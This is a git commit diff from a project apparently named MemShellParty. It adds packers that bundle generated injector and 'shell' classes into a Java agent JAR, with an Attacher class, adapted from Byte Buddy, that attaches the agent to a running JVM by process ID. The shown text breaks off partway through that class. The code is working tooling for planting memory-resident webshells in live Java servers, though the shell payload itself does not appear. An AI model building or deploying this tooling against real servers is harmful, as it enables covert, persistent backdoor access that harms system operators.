mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 23:41:52 +08:00
feat: support AgentAttacher Packer
This commit is contained in:
@@ -39,6 +39,9 @@ dependencies {
|
|||||||
implementation 'net.bytebuddy:byte-buddy'
|
implementation 'net.bytebuddy:byte-buddy'
|
||||||
implementation 'org.ow2.asm:asm-commons'
|
implementation 'org.ow2.asm:asm-commons'
|
||||||
|
|
||||||
|
implementation 'net.java.dev.jna:jna'
|
||||||
|
implementation 'net.java.dev.jna:jna-platform'
|
||||||
|
|
||||||
implementation 'javax.servlet:javax.servlet-api'
|
implementation 'javax.servlet:javax.servlet-api'
|
||||||
implementation 'javax.websocket:javax.websocket-api'
|
implementation 'javax.websocket:javax.websocket-api'
|
||||||
|
|
||||||
|
|||||||
@@ -19,6 +19,8 @@ import com.reajason.javaweb.memshell.packer.groovy.GroovyClassDefinerPacker;
|
|||||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
|
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
|
import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJDKAttacherPacker;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
|
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
|
||||||
@@ -121,6 +123,8 @@ public enum Packers {
|
|||||||
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
|
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
|
||||||
|
|
||||||
AgentJar(new AgentJarPacker()),
|
AgentJar(new AgentJarPacker()),
|
||||||
|
AgentJarWithJDKAttacher(new AgentJarWithJDKAttacherPacker()),
|
||||||
|
AgentJarWithJREAttacher(new AgentJarWithJREAttacherPacker()),
|
||||||
|
|
||||||
XxlJob(new XxlJobPacker()),
|
XxlJob(new XxlJobPacker()),
|
||||||
;
|
;
|
||||||
|
|||||||
+189
@@ -0,0 +1,189 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.jar;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.attach.Attacher;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.attach.VirtualMachine;
|
||||||
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.objectweb.asm.Opcodes;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Path;
|
||||||
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.jar.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/1
|
||||||
|
*/
|
||||||
|
public class AgentJarWithJDKAttacherPacker implements JarPacker {
|
||||||
|
private static Path tempBootPath;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public byte[] packBytes(GenerateResult generateResult) {
|
||||||
|
String packageName = CommonUtil.getPackageName(generateResult.getInjectorClassName());
|
||||||
|
String mainClassName = packageName + "." + Attacher.class.getSimpleName();
|
||||||
|
Manifest manifest = createManifest(generateResult.getInjectorClassName(), mainClassName);
|
||||||
|
String relocatePrefix = "shade/";
|
||||||
|
|
||||||
|
Map<String, byte[]> classes = new HashMap<>();
|
||||||
|
Map<String, byte[]> attacherClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(Attacher.class, packageName);
|
||||||
|
Map<String, byte[]> virtualMachineClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(VirtualMachine.class, packageName);
|
||||||
|
classes.putAll(attacherClasses);
|
||||||
|
classes.putAll(virtualMachineClasses);
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
||||||
|
addDependencies(targetJar, relocatePrefix);
|
||||||
|
addClassesToJar(targetJar, generateResult, relocatePrefix);
|
||||||
|
for (Map.Entry<String, byte[]> entry : classes.entrySet()) {
|
||||||
|
String className = entry.getKey();
|
||||||
|
byte[] bytes = entry.getValue();
|
||||||
|
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||||
|
targetJar.write(bytes);
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return outputStream.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
private Manifest createManifest(String agentClass, String mainClass) {
|
||||||
|
Manifest manifest = new Manifest();
|
||||||
|
Attributes attributes = manifest.getMainAttributes();
|
||||||
|
attributes.putValue("Manifest-Version", "1.0");
|
||||||
|
attributes.putValue("Agent-Class", agentClass);
|
||||||
|
attributes.putValue("Premain-Class", agentClass);
|
||||||
|
attributes.putValue("Main-Class", mainClass);
|
||||||
|
attributes.putValue("Can-Redefine-Classes", "true");
|
||||||
|
attributes.putValue("Can-Retransform-Classes", "true");
|
||||||
|
return manifest;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
|
||||||
|
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
|
||||||
|
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
|
||||||
|
String dependencyPackage = Opcodes.class.getPackage().getName();
|
||||||
|
// Add injector class
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
generateResult.getInjectorClassName(),
|
||||||
|
generateResult.getInjectorBytes(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix);
|
||||||
|
|
||||||
|
// Add shell class
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
generateResult.getShellClassName(),
|
||||||
|
generateResult.getShellBytes(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix);
|
||||||
|
|
||||||
|
// Add inner classes
|
||||||
|
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
entry.getKey(),
|
||||||
|
entry.getValue(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
||||||
|
String dependencyPackage, String relocatePrefix) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||||
|
byte[] processedBytes = ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage);
|
||||||
|
targetJar.write(processedBytes);
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
|
||||||
|
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||||
|
String sourceUrlString = sourceUrl.toString();
|
||||||
|
if (sourceUrlString.contains("!BOOT-INF")) {
|
||||||
|
String path = sourceUrlString.substring("jar:nested:".length());
|
||||||
|
path = path.substring(0, path.indexOf("!/"));
|
||||||
|
String[] split = path.split("/!");
|
||||||
|
String bootJarPath = split[0];
|
||||||
|
String internalJarPath = split[1];
|
||||||
|
if (tempBootPath == null) {
|
||||||
|
tempBootPath = Files.createTempDirectory("mem-shell-boot");
|
||||||
|
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
|
||||||
|
}
|
||||||
|
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
|
||||||
|
}
|
||||||
|
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
|
||||||
|
Enumeration<JarEntry> entries = sourceJar.entries();
|
||||||
|
while (entries.hasMoreElements()) {
|
||||||
|
JarEntry entry = entries.nextElement();
|
||||||
|
String entryName = entry.getName();
|
||||||
|
if (entryName.equals("META-INF/MANIFEST.MF")
|
||||||
|
|| entryName.contains("module-info.class")) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (!entry.isDirectory()) {
|
||||||
|
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
|
||||||
|
byte[] bytes = IOUtils.toByteArray(entryStream);
|
||||||
|
if (StringUtils.isNoneEmpty(relocatePrefix)) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
||||||
|
if (entryName.endsWith(".class")) {
|
||||||
|
if (bytes.length > 0) {
|
||||||
|
bytes = ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
targetJar.putNextEntry(entry);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
targetJar.putNextEntry(entry);
|
||||||
|
}
|
||||||
|
targetJar.write(bytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Extracts a JAR file to a temporary directory
|
||||||
|
*
|
||||||
|
* @param jarPath Path to the source JAR file
|
||||||
|
* @param tempPath Path to the temporary directory
|
||||||
|
*/
|
||||||
|
@SneakyThrows
|
||||||
|
public static void unzip(String jarPath, String tempPath) {
|
||||||
|
try (JarFile jarFile = new JarFile(jarPath)) {
|
||||||
|
Enumeration<JarEntry> entries = jarFile.entries();
|
||||||
|
while (entries.hasMoreElements()) {
|
||||||
|
JarEntry jarEntry = entries.nextElement();
|
||||||
|
File targetFile = new File(tempPath, jarEntry.getName());
|
||||||
|
|
||||||
|
if (jarEntry.isDirectory()) {
|
||||||
|
targetFile.mkdirs();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
targetFile.getParentFile().mkdirs();
|
||||||
|
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
|
||||||
|
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
|
||||||
|
IOUtils.copy(inputStream, outputStream);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+209
@@ -0,0 +1,209 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.jar;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.attach.Attacher;
|
||||||
|
import com.reajason.javaweb.memshell.packer.jar.attach.VirtualMachine;
|
||||||
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
|
import com.sun.jna.Platform;
|
||||||
|
import com.sun.jna.platform.DesktopWindow;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.io.IOUtils;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.objectweb.asm.Opcodes;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Path;
|
||||||
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.jar.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/1/1
|
||||||
|
*/
|
||||||
|
public class AgentJarWithJREAttacherPacker implements JarPacker {
|
||||||
|
private static Path tempBootPath;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public byte[] packBytes(GenerateResult generateResult) {
|
||||||
|
String packageName = CommonUtil.getPackageName(generateResult.getInjectorClassName());
|
||||||
|
String mainClassName = packageName + "." + Attacher.class.getSimpleName();
|
||||||
|
Manifest manifest = createManifest(generateResult.getInjectorClassName(), mainClassName);
|
||||||
|
String relocatePrefix = "shade/";
|
||||||
|
|
||||||
|
Map<String, byte[]> classes = new HashMap<>();
|
||||||
|
Map<String, byte[]> attacherClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(Attacher.class, packageName);
|
||||||
|
Map<String, byte[]> virtualMachineClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(VirtualMachine.class, packageName);
|
||||||
|
classes.putAll(attacherClasses);
|
||||||
|
classes.putAll(virtualMachineClasses);
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
|
||||||
|
addDependencies(targetJar, relocatePrefix);
|
||||||
|
addClassesToJar(targetJar, generateResult, relocatePrefix);
|
||||||
|
for (Map.Entry<String, byte[]> entry : classes.entrySet()) {
|
||||||
|
String className = entry.getKey();
|
||||||
|
byte[] bytes = entry.getValue();
|
||||||
|
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||||
|
targetJar.write(bytes);
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
|
||||||
|
String[] windowsDll = new String[]{
|
||||||
|
"win32-x86/attach_hotspot_windows.dll",
|
||||||
|
"win32-x86-64/attach_hotspot_windows.dll"
|
||||||
|
};
|
||||||
|
for (String dll : windowsDll) {
|
||||||
|
InputStream stream = this.getClass().getClassLoader().getResourceAsStream(dll);
|
||||||
|
if (stream != null) {
|
||||||
|
byte[] bytes = IOUtils.toByteArray(stream);
|
||||||
|
targetJar.putNextEntry(new JarEntry(dll));
|
||||||
|
targetJar.write(bytes);
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return outputStream.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
private Manifest createManifest(String agentClass, String mainClass) {
|
||||||
|
Manifest manifest = new Manifest();
|
||||||
|
Attributes attributes = manifest.getMainAttributes();
|
||||||
|
attributes.putValue("Manifest-Version", "1.0");
|
||||||
|
attributes.putValue("Agent-Class", agentClass);
|
||||||
|
attributes.putValue("Premain-Class", agentClass);
|
||||||
|
attributes.putValue("Main-Class", mainClass);
|
||||||
|
attributes.putValue("Can-Redefine-Classes", "true");
|
||||||
|
attributes.putValue("Can-Retransform-Classes", "true");
|
||||||
|
return manifest;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
|
||||||
|
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
|
||||||
|
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
|
||||||
|
|
||||||
|
String jnaBaseName = Platform.class.getPackage().getName().replace('.', '/');
|
||||||
|
addDependency(targetJar, Platform.class, jnaBaseName, null);
|
||||||
|
addDependency(targetJar, DesktopWindow.class, jnaBaseName, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) {
|
||||||
|
String dependencyPackage = Opcodes.class.getPackage().getName();
|
||||||
|
// Add injector class
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
generateResult.getInjectorClassName(),
|
||||||
|
generateResult.getInjectorBytes(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix);
|
||||||
|
|
||||||
|
// Add shell class
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
generateResult.getShellClassName(),
|
||||||
|
generateResult.getShellBytes(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix);
|
||||||
|
|
||||||
|
// Add inner classes
|
||||||
|
for (Map.Entry<String, byte[]> entry : generateResult.getInjectorInnerClassBytes().entrySet()) {
|
||||||
|
addClassEntry(targetJar,
|
||||||
|
entry.getKey(),
|
||||||
|
entry.getValue(),
|
||||||
|
dependencyPackage,
|
||||||
|
relocatePrefix);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
|
||||||
|
String dependencyPackage, String relocatePrefix) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
|
||||||
|
byte[] processedBytes = ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage);
|
||||||
|
targetJar.write(processedBytes);
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
|
||||||
|
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
|
||||||
|
String sourceUrlString = sourceUrl.toString();
|
||||||
|
if (sourceUrlString.contains("!BOOT-INF")) {
|
||||||
|
String path = sourceUrlString.substring("jar:nested:".length());
|
||||||
|
path = path.substring(0, path.indexOf("!/"));
|
||||||
|
String[] split = path.split("/!");
|
||||||
|
String bootJarPath = split[0];
|
||||||
|
String internalJarPath = split[1];
|
||||||
|
if (tempBootPath == null) {
|
||||||
|
tempBootPath = Files.createTempDirectory("mem-shell-boot");
|
||||||
|
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
|
||||||
|
}
|
||||||
|
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
|
||||||
|
}
|
||||||
|
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
|
||||||
|
Enumeration<JarEntry> entries = sourceJar.entries();
|
||||||
|
while (entries.hasMoreElements()) {
|
||||||
|
JarEntry entry = entries.nextElement();
|
||||||
|
String entryName = entry.getName();
|
||||||
|
if (entryName.startsWith("META-INF")
|
||||||
|
|| entryName.contains("module-info.class")) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (!entry.isDirectory()) {
|
||||||
|
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
|
||||||
|
byte[] bytes = IOUtils.toByteArray(entryStream);
|
||||||
|
if (StringUtils.isNoneEmpty(relocatePrefix)) {
|
||||||
|
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
|
||||||
|
if (entryName.endsWith(".class")) {
|
||||||
|
if (bytes.length > 0) {
|
||||||
|
bytes = ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
targetJar.putNextEntry(entry);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
targetJar.putNextEntry(entry);
|
||||||
|
}
|
||||||
|
targetJar.write(bytes);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
targetJar.closeEntry();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Extracts a JAR file to a temporary directory
|
||||||
|
*
|
||||||
|
* @param jarPath Path to the source JAR file
|
||||||
|
* @param tempPath Path to the temporary directory
|
||||||
|
*/
|
||||||
|
@SneakyThrows
|
||||||
|
public static void unzip(String jarPath, String tempPath) {
|
||||||
|
try (JarFile jarFile = new JarFile(jarPath)) {
|
||||||
|
Enumeration<JarEntry> entries = jarFile.entries();
|
||||||
|
while (entries.hasMoreElements()) {
|
||||||
|
JarEntry jarEntry = entries.nextElement();
|
||||||
|
File targetFile = new File(tempPath, jarEntry.getName());
|
||||||
|
|
||||||
|
if (jarEntry.isDirectory()) {
|
||||||
|
targetFile.mkdirs();
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
targetFile.getParentFile().mkdirs();
|
||||||
|
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
|
||||||
|
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
|
||||||
|
IOUtils.copy(inputStream, outputStream);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+942
@@ -0,0 +1,942 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.jar.attach;/*
|
||||||
|
* Copyright 2014 - Present Rafael Winterhalter
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.net.MalformedURLException;
|
||||||
|
import java.net.URISyntaxException;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.security.CodeSource;
|
||||||
|
import java.security.PrivilegedAction;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.Collections;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
|
||||||
|
*/
|
||||||
|
public class Attacher {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Representation of the bootstrap {@link ClassLoader}.
|
||||||
|
*/
|
||||||
|
private static final ClassLoader BOOTSTRAP_CLASS_LOADER = null;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The character that is used to mark the beginning of the argument to the agent.
|
||||||
|
*/
|
||||||
|
private static final String AGENT_ARGUMENT_SEPARATOR = "=";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The agent provides only {@code static} utility methods and should not be instantiated.
|
||||||
|
*/
|
||||||
|
private Attacher() {
|
||||||
|
throw new UnsupportedOperationException("This class is a utility class and not supposed to be instantiated");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
try {
|
||||||
|
Attacher.attach(args[0]);
|
||||||
|
} catch (Exception e) {
|
||||||
|
if (!e.getMessage().equals("0")) {
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
System.out.println("ok");
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Attaches the given agent Jar on the target process which must be a virtual machine process. The default attachment provider
|
||||||
|
* is used for applying the attachment. This operation blocks until the attachment is complete. If the current VM does not supply
|
||||||
|
* any known form of attachment to a remote VM, an {@link IllegalStateException} is thrown. The agent is not provided an argument.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* <b>Important</b>: It is only possible to attach to processes that are executed by the same operating system user.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param agentJar The agent jar file.
|
||||||
|
* @param processId The target process id.
|
||||||
|
*/
|
||||||
|
public static void attach(File agentJar, String processId) {
|
||||||
|
attach(agentJar, processId, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void attach(String processId) {
|
||||||
|
attach(trySelfResolve(), processId, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <p>
|
||||||
|
* Attaches the given agent Jar on the target process which must be a virtual machine process. The default attachment provider
|
||||||
|
* is used for applying the attachment. This operation blocks until the attachment is complete. If the current VM does not supply
|
||||||
|
* any known form of attachment to a remote VM, an {@link IllegalStateException} is thrown.
|
||||||
|
* </p>
|
||||||
|
* <p>
|
||||||
|
* <b>Important</b>: It is only possible to attach to processes that are executed by the same operating system user.
|
||||||
|
* </p>
|
||||||
|
*
|
||||||
|
* @param agentJar The agent jar file.
|
||||||
|
* @param processId The target process id.
|
||||||
|
* @param argument The argument to provide to the agent.
|
||||||
|
*/
|
||||||
|
public static void attach(File agentJar, String processId, String argument) {
|
||||||
|
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Installs a Java agent on a target VM.
|
||||||
|
*
|
||||||
|
* @param processId The process id of the target JVM process.
|
||||||
|
* @param argument The argument to provide to the agent.
|
||||||
|
* @param agentProvider The agent provider for the agent jar or library.
|
||||||
|
*/
|
||||||
|
private static void install(String processId, String argument, AgentProvider agentProvider) {
|
||||||
|
AttachmentProvider.Accessor attachmentAccessor = AttachmentProvider.DEFAULT.attempt();
|
||||||
|
if (!attachmentAccessor.isAvailable()) {
|
||||||
|
throw new IllegalStateException("No compatible attachment provider is available");
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Class<?> virtualMachineType = attachmentAccessor.getVirtualMachineType();
|
||||||
|
String agent = agentProvider.resolve().getAbsolutePath();
|
||||||
|
Object virtualMachineInstance = virtualMachineType
|
||||||
|
.getMethod("attach", String.class)
|
||||||
|
.invoke(null, processId);
|
||||||
|
try {
|
||||||
|
virtualMachineType
|
||||||
|
.getMethod("loadAgent", String.class, String.class)
|
||||||
|
.invoke(virtualMachineInstance, agent, argument);
|
||||||
|
} finally {
|
||||||
|
virtualMachineType
|
||||||
|
.getMethod("detach")
|
||||||
|
.invoke(virtualMachineInstance);
|
||||||
|
}
|
||||||
|
} catch (RuntimeException exception) {
|
||||||
|
throw exception;
|
||||||
|
} catch (Exception exception) {
|
||||||
|
throw new IllegalStateException("Error during attachment using: " + AttachmentProvider.DEFAULT, exception);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Attempts to resolve the location of the {@link Attacher} class for a self-attachment. Doing so avoids the creation of a temporary jar file.
|
||||||
|
*
|
||||||
|
* @return The self-resolved jar file or {@code null} if the jar file cannot be located.
|
||||||
|
*/
|
||||||
|
private static File trySelfResolve() {
|
||||||
|
try {
|
||||||
|
ProtectionDomain protectionDomain = Attacher.class.getProtectionDomain();
|
||||||
|
if (protectionDomain == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
CodeSource codeSource = protectionDomain.getCodeSource();
|
||||||
|
if (codeSource == null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
URL location = codeSource.getLocation();
|
||||||
|
if (!location.getProtocol().equals("file")) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
File file = new File(location.toURI());
|
||||||
|
if (file.getPath().contains(AGENT_ARGUMENT_SEPARATOR)) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
return file;
|
||||||
|
} catch (URISyntaxException ignored) {
|
||||||
|
return new File(location.getPath());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An attachment provider is responsible for making the Java attachment API available.
|
||||||
|
*/
|
||||||
|
public interface AttachmentProvider {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The default attachment provider to be used.
|
||||||
|
*/
|
||||||
|
AttachmentProvider DEFAULT = new Compound(ForModularizedVm.INSTANCE,
|
||||||
|
ForJ9Vm.INSTANCE,
|
||||||
|
ForStandardToolsJarVm.JVM_ROOT,
|
||||||
|
ForStandardToolsJarVm.JDK_ROOT,
|
||||||
|
ForStandardToolsJarVm.MACINTOSH,
|
||||||
|
ForUserDefinedToolsJar.INSTANCE,
|
||||||
|
ForEmulatedAttachment.INSTANCE);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Attempts the creation of an accessor for a specific JVM's attachment API.
|
||||||
|
*
|
||||||
|
* @return The accessor this attachment provider can supply for the currently running JVM.
|
||||||
|
*/
|
||||||
|
Accessor attempt();
|
||||||
|
|
||||||
|
/**
|
||||||
|
* An accessor for a JVM's attachment API.
|
||||||
|
*/
|
||||||
|
interface Accessor {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The name of the {@code VirtualMachine} class on any OpenJDK or Oracle JDK implementation.
|
||||||
|
*/
|
||||||
|
String VIRTUAL_MACHINE_TYPE_NAME = "com.sun.tools.attach.VirtualMachine";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The name of the {@code VirtualMachine} class on IBM J9 VMs.
|
||||||
|
*/
|
||||||
|
